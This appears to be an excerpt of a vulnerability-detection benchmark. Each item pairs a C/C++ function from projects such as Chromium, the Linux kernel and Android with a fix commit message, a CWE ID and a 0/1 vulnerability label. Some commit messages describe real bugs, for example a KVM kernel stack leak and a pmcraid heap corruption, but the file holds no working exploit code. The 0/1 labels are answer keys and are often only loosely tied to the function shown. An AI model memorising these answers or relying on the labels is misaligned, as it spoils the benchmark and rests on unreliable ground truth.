ui::GpuSwitchingManager::GetInstance()->RemoveObserver(this);
gpu_observer_registered_ = false;
}
is_dead_ = true;
UnregisterHost(GetID());
if (!base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kDisableGpuShaderDiskCache)) {
BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,
base::BindOnce(&RemoveShaderInfo, GetID()));
}
}
Commit Message: Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <weili@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Sadrul Chowdhury <sadrul@chromium.org>
Reviewed-by: Yuzhu Shen <yzshen@chromium.org>
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Commit-Queue: Ken Rockot <rockot@chromium.org>
Cr-Commit-Position: refs/heads/master@{#530268}
CWE ID: CWE-787 | 0 | 149,353 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int pmcraid_eh_device_reset_handler(struct scsi_cmnd *scmd)
{
scmd_printk(KERN_INFO, scmd,
"resetting device due to an I/O command timeout.\n");
return pmcraid_reset_device(scmd,
PMCRAID_INTERNAL_TIMEOUT,
RESET_DEVICE_LUN);
}
Commit Message: [SCSI] pmcraid: reject negative request size
There's a code path in pmcraid that can be reached via device ioctl that
causes all sorts of ugliness, including heap corruption or triggering the
OOM killer due to consecutive allocation of large numbers of pages.
First, the user can call pmcraid_chr_ioctl(), with a type
PMCRAID_PASSTHROUGH_IOCTL. This calls through to
pmcraid_ioctl_passthrough(). Next, a pmcraid_passthrough_ioctl_buffer
is copied in, and the request_size variable is set to
buffer->ioarcb.data_transfer_length, which is an arbitrary 32-bit
signed value provided by the user. If a negative value is provided
here, bad things can happen. For example,
pmcraid_build_passthrough_ioadls() is called with this request_size,
which immediately calls pmcraid_alloc_sglist() with a negative size.
The resulting math on allocating a scatter list can result in an
overflow in the kzalloc() call (if num_elem is 0, the sglist will be
smaller than expected), or if num_elem is unexpectedly large the
subsequent loop will call alloc_pages() repeatedly, a high number of
pages will be allocated and the OOM killer might be invoked.
It looks like preventing this value from being negative in
pmcraid_ioctl_passthrough() would be sufficient.
Signed-off-by: Dan Rosenberg <drosenberg@vsecurity.com>
Cc: <stable@kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: James Bottomley <JBottomley@Parallels.com>
CWE ID: CWE-189 | 0 | 26,434 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: OMX_U32 omx_venc::dev_pause(void)
{
return handle->venc_pause();
}
Commit Message: DO NOT MERGE mm-video-v4l2: venc: add checks before accessing heap pointers
Heap pointers do not point to user virtual addresses in case
of secure session.
Set them to NULL and add checks to avoid accesing them
Bug: 28815329
Bug: 28920116
Change-Id: I94fd5808e753b58654d65e175d3857ef46ffba26
CWE ID: CWE-200 | 0 | 159,229 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int getHeightForLineCount(RenderBlock* block, int l, bool includeBottom, int& count)
{
if (block->style()->visibility() == VISIBLE) {
if (block->childrenInline()) {
for (RootInlineBox* box = block->firstRootBox(); box; box = box->nextRootBox()) {
if (++count == l)
return box->lineBottom() + (includeBottom ? (block->borderBottom() + block->paddingBottom()) : LayoutUnit());
}
}
else {
RenderBox* normalFlowChildWithoutLines = 0;
for (RenderBox* obj = block->firstChildBox(); obj; obj = obj->nextSiblingBox()) {
if (shouldCheckLines(obj)) {
int result = getHeightForLineCount(toRenderBlock(obj), l, false, count);
if (result != -1)
return result + obj->y() + (includeBottom ? (block->borderBottom() + block->paddingBottom()) : LayoutUnit());
} else if (!obj->isFloatingOrOutOfFlowPositioned())
normalFlowChildWithoutLines = obj;
}
if (normalFlowChildWithoutLines && l == 0)
return normalFlowChildWithoutLines->y() + normalFlowChildWithoutLines->height();
}
}
return -1;
}
Commit Message: Separate repaint and layout requirements of StyleDifference (Step 1)
Previously StyleDifference was an enum that proximately bigger values
imply smaller values (e.g. StyleDifferenceLayout implies
StyleDifferenceRepaint). This causes unnecessary repaints in some cases
on layout change.
Convert StyleDifference to a structure containing relatively independent
flags.
This change doesn't directly improve the result, but can make further
repaint optimizations possible.
Step 1 doesn't change any functionality. RenderStyle still generate the
legacy StyleDifference enum when comparing styles and convert the result
to the new StyleDifference. Implicit requirements are not handled during
the conversion.
Converted call sites to use the new StyleDifference according to the
following conversion rules:
- diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange()
- diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly()
- diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout()
- diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout()
- diff > StyleDifferenceRepaintLayer => diff.needsLayout()
- diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly()
- diff == StyleDifferenceLayout => diff.needsFullLayout()
BUG=358460
TEST=All existing layout tests.
R=eseidel@chromium.org, esprehn@chromium.org, jchaffraix@chromium.org
Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983
Review URL: https://codereview.chromium.org/236203020
git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119 | 0 | 116,202 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int set_adapter_property(const bt_property_t *property)
{
/* sanity check */
if (interface_ready() == FALSE)
return BT_STATUS_NOT_READY;
return btif_set_adapter_property(property);
}
Commit Message: Add guest mode functionality (2/3)
Add a flag to enable() to start Bluetooth in restricted
mode. In restricted mode, all devices that are paired during
restricted mode are deleted upon leaving restricted mode.
Right now restricted mode is only entered while a guest
user is active.
Bug: 27410683
Change-Id: I8f23d28ef0aa3a8df13d469c73005c8e1b894d19
CWE ID: CWE-20 | 0 | 159,648 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Browser::OpenSystemOptionsDialog() {
UserMetrics::RecordAction(UserMetricsAction("OpenSystemOptionsDialog"),
profile_);
ShowOptionsTab(chrome::kSystemOptionsSubPage);
}
Commit Message: chromeos: fix bug where "aw snap" page replaces first tab if it was a NTP when closing window with > 1 tab.
BUG=chromium-os:12088
TEST=verify bug per bug report.
Review URL: http://codereview.chromium.org/6882058
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@83031 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 98,285 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool GetDefaultChromeExe(FilePath* browser_exe) {
std::vector<FilePath> locations;
FilePath module_dir;
if (PathService::Get(base::DIR_MODULE, &module_dir))
locations.push_back(module_dir);
#if defined(OS_WIN)
const wchar_t kSubKey[] =
L"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe";
base::win::RegKey key(HKEY_CURRENT_USER, kSubKey, KEY_READ);
std::wstring path;
if (key.ReadValue(L"path", &path) == ERROR_SUCCESS)
locations.push_back(FilePath(path));
base::win::RegKey sys_key(HKEY_LOCAL_MACHINE, kSubKey, KEY_READ);
if (sys_key.ReadValue(L"path", &path) == ERROR_SUCCESS)
locations.push_back(FilePath(path));
FilePath app_from_google(L"Google\\Chrome\\Application");
scoped_ptr<base::Environment> env(base::Environment::Create());
std::string home_dir;
if (env->GetVar("userprofile", &home_dir)) {
FilePath default_location(UTF8ToWide(home_dir));
if (base::win::GetVersion() < base::win::VERSION_VISTA) {
default_location = default_location.Append(
L"Local Settings\\Application Data");
} else {
default_location = default_location.Append(L"AppData\\Local");
}
locations.push_back(default_location.Append(app_from_google));
}
std::string program_dir;
if (env->GetVar("ProgramFiles", &program_dir)) {
locations.push_back(FilePath(UTF8ToWide(program_dir))
.Append(app_from_google));
}
if (env->GetVar("ProgramFiles(x86)", &program_dir)) {
locations.push_back(FilePath(UTF8ToWide(program_dir))
.Append(app_from_google));
}
#elif defined(OS_MACOSX)
locations.push_back(FilePath("/Applications"));
#elif defined(OS_LINUX)
FilePath chrome_sym_link("/usr/bin/google-chrome");
if (file_util::PathExists(chrome_sym_link)) {
FilePath chrome;
if (file_util::ReadSymbolicLink(chrome_sym_link, &chrome)) {
locations.push_back(chrome.DirName());
}
}
#endif
FilePath current_dir;
if (file_util::GetCurrentDirectory(¤t_dir))
locations.push_back(current_dir);
for (size_t i = 0; i < locations.size(); ++i) {
FilePath path = locations[i].Append(chrome::kBrowserProcessExecutablePath);
if (file_util::PathExists(path)) {
*browser_exe = path;
return true;
}
}
return false;
}
Commit Message: In chromedriver, add /log url to get the contents of the chromedriver log
remotely. Also add a 'chrome.verbose' boolean startup option.
Remove usage of VLOG(1) in chromedriver. We do not need as complicated
logging as in Chrome.
BUG=85241
TEST=none
Review URL: http://codereview.chromium.org/7104085
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@88591 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 100,707 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: cmsHANDLE CMSEXPORT cmsIT8Alloc(cmsContext ContextID)
{
cmsIT8* it8;
cmsUInt32Number i;
it8 = (cmsIT8*) _cmsMallocZero(ContextID, sizeof(cmsIT8));
if (it8 == NULL) return NULL;
AllocTable(it8);
it8->MemoryBlock = NULL;
it8->MemorySink = NULL;
it8 ->nTable = 0;
it8->ContextID = ContextID;
it8->Allocator.Used = 0;
it8->Allocator.Block = NULL;
it8->Allocator.BlockSize = 0;
it8->ValidKeywords = NULL;
it8->ValidSampleID = NULL;
it8 -> sy = SUNDEFINED;
it8 -> ch = ' ';
it8 -> Source = NULL;
it8 -> inum = 0;
it8 -> dnum = 0.0;
it8->FileStack[0] = (FILECTX*)AllocChunk(it8, sizeof(FILECTX));
it8->IncludeSP = 0;
it8 -> lineno = 1;
strcpy(it8->DoubleFormatter, DEFAULT_DBL_FORMAT);
cmsIT8SetSheetType((cmsHANDLE) it8, "CGATS.17");
for (i=0; i < NUMPREDEFINEDPROPS; i++)
AddAvailableProperty(it8, PredefinedProperties[i].id, PredefinedProperties[i].as);
for (i=0; i < NUMPREDEFINEDSAMPLEID; i++)
AddAvailableSampleID(it8, PredefinedSampleID[i]);
return (cmsHANDLE) it8;
}
Commit Message: Upgrade Visual studio 2017 15.8
- Upgrade to 15.8
- Add check on CGATS memory allocation (thanks to Quang Nguyen for
pointing out this)
CWE ID: CWE-190 | 0 | 78,056 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void HTMLMediaElement::cancelledRemotePlaybackRequest() {
if (remotePlaybackClient())
remotePlaybackClient()->promptCancelled();
}
Commit Message: [Blink>Media] Allow autoplay muted on Android by default
There was a mistake causing autoplay muted is shipped on Android
but it will be disabled if the chromium embedder doesn't specify
content setting for "AllowAutoplay" preference. This CL makes the
AllowAutoplay preference true by default so that it is allowed by
embedders (including AndroidWebView) unless they explicitly
disable it.
Intent to ship:
https://groups.google.com/a/chromium.org/d/msg/blink-dev/Q1cnzNI2GpI/AL_eyUNABgAJ
BUG=689018
Review-Url: https://codereview.chromium.org/2677173002
Cr-Commit-Position: refs/heads/master@{#448423}
CWE ID: CWE-119 | 0 | 128,756 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: virtual status_t initCheck() const {
Parcel data, reply;
data.writeInterfaceToken(IDrm::getInterfaceDescriptor());
status_t status = remote()->transact(INIT_CHECK, data, &reply);
if (status != OK) {
return status;
}
return reply.readInt32();
}
Commit Message: Fix info leak vulnerability of IDrm
bug: 26323455
Change-Id: I25bb30d3666ab38d5150496375ed2f55ecb23ba8
CWE ID: CWE-264 | 0 | 161,291 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static bool SilverlightColorIsTransparent(const std::string& color) {
if (StartsWithASCII(color, "#", false)) {
if ((color.length() == 5 && !StartsWithASCII(color, "#F", false)) ||
(color.length() == 9 && !StartsWithASCII(color, "#FF", false)))
return true;
} else if (StartsWithASCII(color, "sc#", false)) {
if (color.length() < 4)
return false;
std::string value_string = color.substr(3, std::string::npos);
std::vector<std::string> components;
base::SplitString(value_string, ',', &components);
if (components.size() == 4 && !StartsWithASCII(components[0], "1", false))
return true;
} else if (LowerCaseEqualsASCII(color, "transparent")) {
return true;
}
return false;
}
Commit Message: Convert plugin and GPU process to brokered handle duplication.
BUG=119250
Review URL: https://chromiumcodereview.appspot.com/9958034
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@132303 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 107,155 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebContentsImpl::ShowCreatedWindow(int route_id,
WindowOpenDisposition disposition,
const gfx::Rect& initial_pos,
bool user_gesture) {
WebContentsImpl* contents = GetCreatedWindow(route_id);
if (contents) {
WebContentsDelegate* delegate = GetDelegate();
if (delegate) {
delegate->AddNewContents(
this, contents, disposition, initial_pos, user_gesture, NULL);
}
}
}
Commit Message: Cancel JavaScript dialogs when an interstitial appears.
BUG=295695
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/24360011
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 110,792 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void smp_set_local_oob_keys(tSMP_CB* p_cb, tSMP_INT_DATA* p_data) {
SMP_TRACE_DEBUG("%s", __func__);
memcpy(p_cb->sc_oob_data.loc_oob_data.private_key_used, p_cb->private_key,
BT_OCTET32_LEN);
p_cb->sc_oob_data.loc_oob_data.publ_key_used = p_cb->loc_publ_key;
smp_start_nonce_generation(p_cb);
}
Commit Message: Checks the SMP length to fix OOB read
Bug: 111937065
Test: manual
Change-Id: I330880a6e1671d0117845430db4076dfe1aba688
Merged-In: I330880a6e1671d0117845430db4076dfe1aba688
(cherry picked from commit fceb753bda651c4135f3f93a510e5fcb4c7542b8)
CWE ID: CWE-200 | 0 | 162,790 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: BufferQueueConsumer::BufferQueueConsumer(const sp<BufferQueueCore>& core) :
mCore(core),
mSlots(core->mSlots),
mConsumerName() {}
Commit Message: BQ: Add permission check to BufferQueueConsumer::dump
Bug 27046057
Change-Id: Id7bd8cf95045b497943ea39dde49e877aa6f5c4e
CWE ID: CWE-264 | 0 | 164,323 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: authz_status oidc_authz_checker(request_rec *r, const char *require_args,
const void *parsed_require_args,
oidc_authz_match_claim_fn_type match_claim_fn) {
oidc_debug(r, "enter");
/* check for anonymous access and PASS mode */
if (r->user != NULL && strlen(r->user) == 0) {
r->user = NULL;
if (oidc_dir_cfg_unauth_action(r) == OIDC_UNAUTH_PASS)
return AUTHZ_GRANTED;
}
/* get the set of claims from the request state (they've been set in the authentication part earlier */
json_t *claims = NULL, *id_token = NULL;
oidc_authz_get_claims_and_idtoken(r, &claims, &id_token);
/* merge id_token claims (e.g. "iss") in to claims json object */
if (claims)
oidc_util_json_merge(r, id_token, claims);
/* dispatch to the >=2.4 specific authz routine */
authz_status rc = oidc_authz_worker24(r, claims ? claims : id_token,
require_args, match_claim_fn);
/* cleanup */
if (claims)
json_decref(claims);
if (id_token)
json_decref(id_token);
if ((rc == AUTHZ_DENIED) && ap_auth_type(r))
rc = oidc_handle_unauthorized_user24(r);
return rc;
}
Commit Message: release 2.3.10.2: fix XSS vulnerability for poll parameter
in OIDC Session Management RP iframe; CSNC-2019-001; thanks Mischa
Bachmann
Signed-off-by: Hans Zandbelt <hans.zandbelt@zmartzone.eu>
CWE ID: CWE-79 | 0 | 87,051 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int edge_port_probe(struct usb_serial_port *port)
{
struct edgeport_port *edge_port;
int ret;
edge_port = kzalloc(sizeof(*edge_port), GFP_KERNEL);
if (!edge_port)
return -ENOMEM;
spin_lock_init(&edge_port->ep_lock);
edge_port->port = port;
edge_port->edge_serial = usb_get_serial_data(port->serial);
edge_port->bUartMode = default_uart_mode;
switch (port->port_number) {
case 0:
edge_port->uart_base = UMPMEM_BASE_UART1;
edge_port->dma_address = UMPD_OEDB1_ADDRESS;
break;
case 1:
edge_port->uart_base = UMPMEM_BASE_UART2;
edge_port->dma_address = UMPD_OEDB2_ADDRESS;
break;
default:
dev_err(&port->dev, "unknown port number\n");
ret = -ENODEV;
goto err;
}
dev_dbg(&port->dev,
"%s - port_number = %d, uart_base = %04x, dma_address = %04x\n",
__func__, port->port_number, edge_port->uart_base,
edge_port->dma_address);
usb_set_serial_port_data(port, edge_port);
ret = edge_create_sysfs_attrs(port);
if (ret)
goto err;
port->port.closing_wait = msecs_to_jiffies(closing_wait * 10);
port->port.drain_delay = 1;
return 0;
err:
kfree(edge_port);
return ret;
}
Commit Message: USB: serial: io_ti: fix information leak in completion handler
Add missing sanity check to the bulk-in completion handler to avoid an
integer underflow that can be triggered by a malicious device.
This avoids leaking 128 kB of memory content from after the URB transfer
buffer to user space.
Fixes: 8c209e6782ca ("USB: make actual_length in struct urb field u32")
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable <stable@vger.kernel.org> # 2.6.30
Signed-off-by: Johan Hovold <johan@kernel.org>
CWE ID: CWE-191 | 0 | 66,081 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int conf__parse_int(char **token, const char *name, int *value, char *saveptr)
{
*token = strtok_r(NULL, " ", &saveptr);
if(*token){
*value = atoi(*token);
}else{
log__printf(NULL, MOSQ_LOG_ERR, "Error: Empty %s value in configuration.", name);
return MOSQ_ERR_INVAL;
}
return MOSQ_ERR_SUCCESS;
}
Commit Message: Fix acl_file being ignore for default listener if with per_listener_settings
Close #1073. Thanks to Jef Driesen.
Bug: https://github.com/eclipse/mosquitto/issues/1073
CWE ID: | 0 | 75,597 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int path_is_absolute(const char *path)
{
#ifdef _WIN32
/* specific case for names like: "\\.\d:" */
if (is_windows_drive(path) || is_windows_drive_prefix(path)) {
return 1;
}
return (*path == '/' || *path == '\\');
#else
return (*path == '/');
#endif
}
Commit Message:
CWE ID: CWE-190 | 0 | 16,912 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static enum hrtimer_restart napi_watchdog(struct hrtimer *timer)
{
struct napi_struct *napi;
napi = container_of(timer, struct napi_struct, timer);
if (napi->gro_list)
napi_schedule(napi);
return HRTIMER_NORESTART;
}
Commit Message: tunnels: Don't apply GRO to multiple layers of encapsulation.
When drivers express support for TSO of encapsulated packets, they
only mean that they can do it for one layer of encapsulation.
Supporting additional levels would mean updating, at a minimum,
more IP length fields and they are unaware of this.
No encapsulation device expresses support for handling offloaded
encapsulated packets, so we won't generate these types of frames
in the transmit path. However, GRO doesn't have a check for
multiple levels of encapsulation and will attempt to build them.
UDP tunnel GRO actually does prevent this situation but it only
handles multiple UDP tunnels stacked on top of each other. This
generalizes that solution to prevent any kind of tunnel stacking
that would cause problems.
Fixes: bf5a755f ("net-gre-gro: Add GRE support to the GRO stack")
Signed-off-by: Jesse Gross <jesse@kernel.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-400 | 0 | 48,844 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int em_ret_far(struct x86_emulate_ctxt *ctxt)
{
int rc;
unsigned long eip, cs;
u16 old_cs;
int cpl = ctxt->ops->cpl(ctxt);
struct desc_struct old_desc, new_desc;
const struct x86_emulate_ops *ops = ctxt->ops;
if (ctxt->mode == X86EMUL_MODE_PROT64)
ops->get_segment(ctxt, &old_cs, &old_desc, NULL,
VCPU_SREG_CS);
rc = emulate_pop(ctxt, &eip, ctxt->op_bytes);
if (rc != X86EMUL_CONTINUE)
return rc;
rc = emulate_pop(ctxt, &cs, ctxt->op_bytes);
if (rc != X86EMUL_CONTINUE)
return rc;
/* Outer-privilege level return is not implemented */
if (ctxt->mode >= X86EMUL_MODE_PROT16 && (cs & 3) > cpl)
return X86EMUL_UNHANDLEABLE;
rc = __load_segment_descriptor(ctxt, (u16)cs, VCPU_SREG_CS, cpl,
X86_TRANSFER_RET,
&new_desc);
if (rc != X86EMUL_CONTINUE)
return rc;
rc = assign_eip_far(ctxt, eip, &new_desc);
if (rc != X86EMUL_CONTINUE) {
WARN_ON(ctxt->mode != X86EMUL_MODE_PROT64);
ops->set_segment(ctxt, old_cs, &old_desc, 0, VCPU_SREG_CS);
}
return rc;
}
Commit Message: KVM: x86: drop error recovery in em_jmp_far and em_ret_far
em_jmp_far and em_ret_far assumed that setting IP can only fail in 64
bit mode, but syzkaller proved otherwise (and SDM agrees).
Code segment was restored upon failure, but it was left uninitialized
outside of long mode, which could lead to a leak of host kernel stack.
We could have fixed that by always saving and restoring the CS, but we
take a simpler approach and just break any guest that manages to fail
as the error recovery is error-prone and modern CPUs don't need emulator
for this.
Found by syzkaller:
WARNING: CPU: 2 PID: 3668 at arch/x86/kvm/emulate.c:2217 em_ret_far+0x428/0x480
Kernel panic - not syncing: panic_on_warn set ...
CPU: 2 PID: 3668 Comm: syz-executor Not tainted 4.9.0-rc4+ #49
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
[...]
Call Trace:
[...] __dump_stack lib/dump_stack.c:15
[...] dump_stack+0xb3/0x118 lib/dump_stack.c:51
[...] panic+0x1b7/0x3a3 kernel/panic.c:179
[...] __warn+0x1c4/0x1e0 kernel/panic.c:542
[...] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585
[...] em_ret_far+0x428/0x480 arch/x86/kvm/emulate.c:2217
[...] em_ret_far_imm+0x17/0x70 arch/x86/kvm/emulate.c:2227
[...] x86_emulate_insn+0x87a/0x3730 arch/x86/kvm/emulate.c:5294
[...] x86_emulate_instruction+0x520/0x1ba0 arch/x86/kvm/x86.c:5545
[...] emulate_instruction arch/x86/include/asm/kvm_host.h:1116
[...] complete_emulated_io arch/x86/kvm/x86.c:6870
[...] complete_emulated_mmio+0x4e9/0x710 arch/x86/kvm/x86.c:6934
[...] kvm_arch_vcpu_ioctl_run+0x3b7a/0x5a90 arch/x86/kvm/x86.c:6978
[...] kvm_vcpu_ioctl+0x61e/0xdd0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:2557
[...] vfs_ioctl fs/ioctl.c:43
[...] do_vfs_ioctl+0x18c/0x1040 fs/ioctl.c:679
[...] SYSC_ioctl fs/ioctl.c:694
[...] SyS_ioctl+0x8f/0xc0 fs/ioctl.c:685
[...] entry_SYSCALL_64_fastpath+0x1f/0xc2
Reported-by: Dmitry Vyukov <dvyukov@google.com>
Cc: stable@vger.kernel.org
Fixes: d1442d85cc30 ("KVM: x86: Handle errors when RIP is set during far jumps")
Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
CWE ID: CWE-200 | 1 | 166,849 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: struct posix_acl *hfsplus_get_posix_acl(struct inode *inode, int type)
{
struct posix_acl *acl;
char *xattr_name;
char *value = NULL;
ssize_t size;
hfs_dbg(ACL_MOD, "[%s]: ino %lu\n", __func__, inode->i_ino);
switch (type) {
case ACL_TYPE_ACCESS:
xattr_name = XATTR_NAME_POSIX_ACL_ACCESS;
break;
case ACL_TYPE_DEFAULT:
xattr_name = XATTR_NAME_POSIX_ACL_DEFAULT;
break;
default:
return ERR_PTR(-EINVAL);
}
size = __hfsplus_getxattr(inode, xattr_name, NULL, 0);
if (size > 0) {
value = (char *)hfsplus_alloc_attr_entry();
if (unlikely(!value))
return ERR_PTR(-ENOMEM);
size = __hfsplus_getxattr(inode, xattr_name, value, size);
}
if (size > 0)
acl = posix_acl_from_xattr(&init_user_ns, value, size);
else if (size == -ENODATA)
acl = NULL;
else
acl = ERR_PTR(size);
hfsplus_destroy_attr_entry((hfsplus_attr_entry *)value);
return acl;
}
Commit Message: posix_acl: Clear SGID bit when setting file permissions
When file permissions are modified via chmod(2) and the user is not in
the owning group or capable of CAP_FSETID, the setgid bit is cleared in
inode_change_ok(). Setting a POSIX ACL via setxattr(2) sets the file
permissions as well as the new ACL, but doesn't clear the setgid bit in
a similar way; this allows to bypass the check in chmod(2). Fix that.
References: CVE-2016-7097
Reviewed-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Jeff Layton <jlayton@redhat.com>
Signed-off-by: Jan Kara <jack@suse.cz>
Signed-off-by: Andreas Gruenbacher <agruenba@redhat.com>
CWE ID: CWE-285 | 0 | 50,346 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WriteFromUrlOperation::OnURLFetchComplete(const net::URLFetcher* source) {
DCHECK_CURRENTLY_ON(BrowserThread::FILE);
if (source->GetStatus().is_success() && source->GetResponseCode() == 200) {
SetProgress(kProgressComplete);
download_continuation_.Run();
download_continuation_ = base::Closure();
} else {
Error(error::kDownloadInterrupted);
}
}
Commit Message: Network traffic annotation added to extensions::image_writer::WriteFromUrlOperation.
Network traffic annotation is added to network request of extensions::image_writer::WriteFromUrlOperation.
BUG=656607
Review-Url: https://codereview.chromium.org/2691963002
Cr-Commit-Position: refs/heads/master@{#451456}
CWE ID: | 0 | 127,679 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int ext4_ext_get_blocks(handle_t *handle, struct inode *inode,
ext4_lblk_t iblock,
unsigned int max_blocks, struct buffer_head *bh_result,
int flags)
{
struct ext4_ext_path *path = NULL;
struct ext4_extent_header *eh;
struct ext4_extent newex, *ex, *last_ex;
ext4_fsblk_t newblock;
int err = 0, depth, ret, cache_type;
unsigned int allocated = 0;
struct ext4_allocation_request ar;
ext4_io_end_t *io = EXT4_I(inode)->cur_aio_dio;
__clear_bit(BH_New, &bh_result->b_state);
ext_debug("blocks %u/%u requested for inode %lu\n",
iblock, max_blocks, inode->i_ino);
/* check in cache */
cache_type = ext4_ext_in_cache(inode, iblock, &newex);
if (cache_type) {
if (cache_type == EXT4_EXT_CACHE_GAP) {
if ((flags & EXT4_GET_BLOCKS_CREATE) == 0) {
/*
* block isn't allocated yet and
* user doesn't want to allocate it
*/
goto out2;
}
/* we should allocate requested block */
} else if (cache_type == EXT4_EXT_CACHE_EXTENT) {
/* block is already allocated */
newblock = iblock
- le32_to_cpu(newex.ee_block)
+ ext_pblock(&newex);
/* number of remaining blocks in the extent */
allocated = ext4_ext_get_actual_len(&newex) -
(iblock - le32_to_cpu(newex.ee_block));
goto out;
} else {
BUG();
}
}
/* find extent for this block */
path = ext4_ext_find_extent(inode, iblock, NULL);
if (IS_ERR(path)) {
err = PTR_ERR(path);
path = NULL;
goto out2;
}
depth = ext_depth(inode);
/*
* consistent leaf must not be empty;
* this situation is possible, though, _during_ tree modification;
* this is why assert can't be put in ext4_ext_find_extent()
*/
if (path[depth].p_ext == NULL && depth != 0) {
ext4_error(inode->i_sb, "bad extent address "
"inode: %lu, iblock: %d, depth: %d",
inode->i_ino, iblock, depth);
err = -EIO;
goto out2;
}
eh = path[depth].p_hdr;
ex = path[depth].p_ext;
if (ex) {
ext4_lblk_t ee_block = le32_to_cpu(ex->ee_block);
ext4_fsblk_t ee_start = ext_pblock(ex);
unsigned short ee_len;
/*
* Uninitialized extents are treated as holes, except that
* we split out initialized portions during a write.
*/
ee_len = ext4_ext_get_actual_len(ex);
/* if found extent covers block, simply return it */
if (iblock >= ee_block && iblock < ee_block + ee_len) {
newblock = iblock - ee_block + ee_start;
/* number of remaining blocks in the extent */
allocated = ee_len - (iblock - ee_block);
ext_debug("%u fit into %u:%d -> %llu\n", iblock,
ee_block, ee_len, newblock);
